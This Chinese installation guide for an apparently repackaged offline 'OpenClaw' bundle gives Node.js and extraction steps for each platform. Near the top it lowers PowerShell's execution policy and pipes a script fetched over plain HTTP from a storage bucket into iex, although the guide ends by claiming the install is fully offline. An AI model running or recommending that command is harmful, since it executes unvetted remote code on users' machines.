OpenClaw 最全自动安装教程

OpenClaw 完整离线安装包

版本号：OpenClaw 2026.3.8

Node.js版本：22.22.1（完美满足OpenClaw对Node.js版本不低于22.12.0的要求）

执行权限设置：Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

安装脚本：irm http://yx-web.nos.netease.com/package/1773302731109/install-0.1.7.ps1 | iex

???? 包内容

整个安装包结构清晰，包含了所有必要的组件：

openclaw-complete-with-installers/
├── openclaw-installed.tar.gz      # OpenClaw完整安装包（153MB，包含全部802个依赖）
├── nodejs-installers/             # Node.js安装包（推荐首选）
│   ├── node-v22.22.1-x64.msi      # Windows安装包（30MB）
│   └── node-v22.22.1.pkg          # macOS通用安装包（84MB，兼容Intel和Apple Silicon）
├── nodejs-portable/               # Node.js便携版（备用方案）
│   ├── node-v22.22.1-win-x64.zip  # Windows便携版（34MB）
│   ├── node-v22.22.1-darwin-arm64.tar.gz # macOS ARM64便携版（48MB）
│   └── node-v22.22.1-linux-x64.tar.gz    # Linux便携版（54MB）
├── install-macos-linux.sh         # macOS/Linux安装脚本
├── install-windows.ps1            # Windows PowerShell脚本
├── install-windows.bat            # Windows批处理启动器
└── README.md                      # 本文档

???? 安装步骤

Windows平台（推荐方法）

方法1：使用安装包（最简单快捷）⭐

安装Node.js步骤：

双击nodejs-installers\node-v22.22.1-x64.msi文件，按照安装向导提示操作即可（基本上就是一路"下一步"）。安装完成后，记得重新打开命令提示符窗口。

安装OpenClaw步骤：

# 在PowerShell中执行以下命令：
tar -xzf openclaw-installed.tar.gz -C $env:APPDATA\npm

验证安装结果：

openclaw --version

方法2：使用便携版

解压nodejs-portable\node-v22.22.1-win-x64.zip文件到C:\Tools\目录，然后将C:\Tools\node-v22.22.1-win-x64添加到系统PATH环境变量中。重新打开命令提示符后，执行：tar -xzf openclaw-installed.tar.gz -C %APPDATA%\npm

方法3：使用自动脚本

直接双击运行install-windows.bat文件即可。

macOS平台（推荐方法）

方法1：使用安装包（最简单快捷）⭐

安装Node.js步骤：

双击nodejs-installers/node-v22.22.1.pkg文件，按照安装向导完成安装（该安装包同时支持Intel和Apple Silicon芯片）。

安装OpenClaw步骤：

sudo tar -xzf openclaw-installed.tar.gz -C /usr/local

验证安装结果：

openclaw --version

方法2：使用自动脚本

chmod +x install-macos-linux.sh
./install-macos-linux.sh

Linux平台

方法1：使用便携版

# 1. 安装Node.js
sudo tar -xzf nodejs-portable/node-v22.22.1-linux-x64.tar.gz -C /usr/local --strip-components=1
# 2. 验证Node.js安装
node --version
# 3. 安装OpenClaw
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
# 4. 验证完整安装
openclaw --version

方法2：使用自动脚本

chmod +x install-macos-linux.sh
./install-macos-linux.sh

✅ 验证安装

安装完成后，建议通过以下命令验证各组件是否安装成功：

node --version
# 预期输出：v22.22.1
npm --version
# 预期输出：10.x.x
openclaw --version
# 预期输出：OpenClaw 2026.3.8 (...)

???? 推荐安装方式对比

???? 常见问题

Windows平台：找不到openclaw命令

问题原因：通常是因为npm全局目录没有添加到系统PATH环境变量中。

解决方案：

运行命令：npm config get prefix获取npm全局目录路径，然后将该路径添加到系统PATH中。通常情况下，这个路径是：C:\Users\<用户名>\AppData\Roaming\npm

macOS平台：找不到openclaw命令

解决方案：

echo 'export PATH="/usr/local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

权限错误

解决方案：

Windows系统：以管理员身份运行PowerShell；macOS/Linux系统：在命令前加上sudo获取管理员权限。

???? 更多帮助

如果需要更详细的技术文档，可以参考以下文件：

详细手动安装命令：查看WINDOWS-MANUAL-COMMANDS.md文件

跨平台安装指南：查看OFFLINE-INSTALL-GUIDE.md文件

OpenClaw命令参考：查看openclaw-commands.md文件

???? 快速参考

Windows一键安装

# 1. 双击安装Node.js: nodejs-installers\node-v22.22.1-x64.msi
# 2. 重新打开PowerShell，执行：
tar -xzf openclaw-installed.tar.gz -C $env:APPDATA\npm
openclaw --version

macOS一键安装

# 1. 双击安装Node.js: nodejs-installers/node-v22.22.1.pkg
# 2. 在终端执行：
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
openclaw --version

Linux一键安装

sudo tar -xzf nodejs-portable/node-v22.22.1-linux-x64.tar.gz -C /usr/local --strip-components=1
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
openclaw --version

⚠️ 重要说明

Node.js版本要求：OpenClaw要求Node.js版本不低于22.12.0，本安装包包含的Node.js 22.22.1完全满足此要求。

完整依赖：openclaw-installed.tar.gz文件包含了全部802个npm依赖包，无需额外下载。

离线安装：整个安装过程完全离线进行，不需要任何网络连接，适合各种网络环境。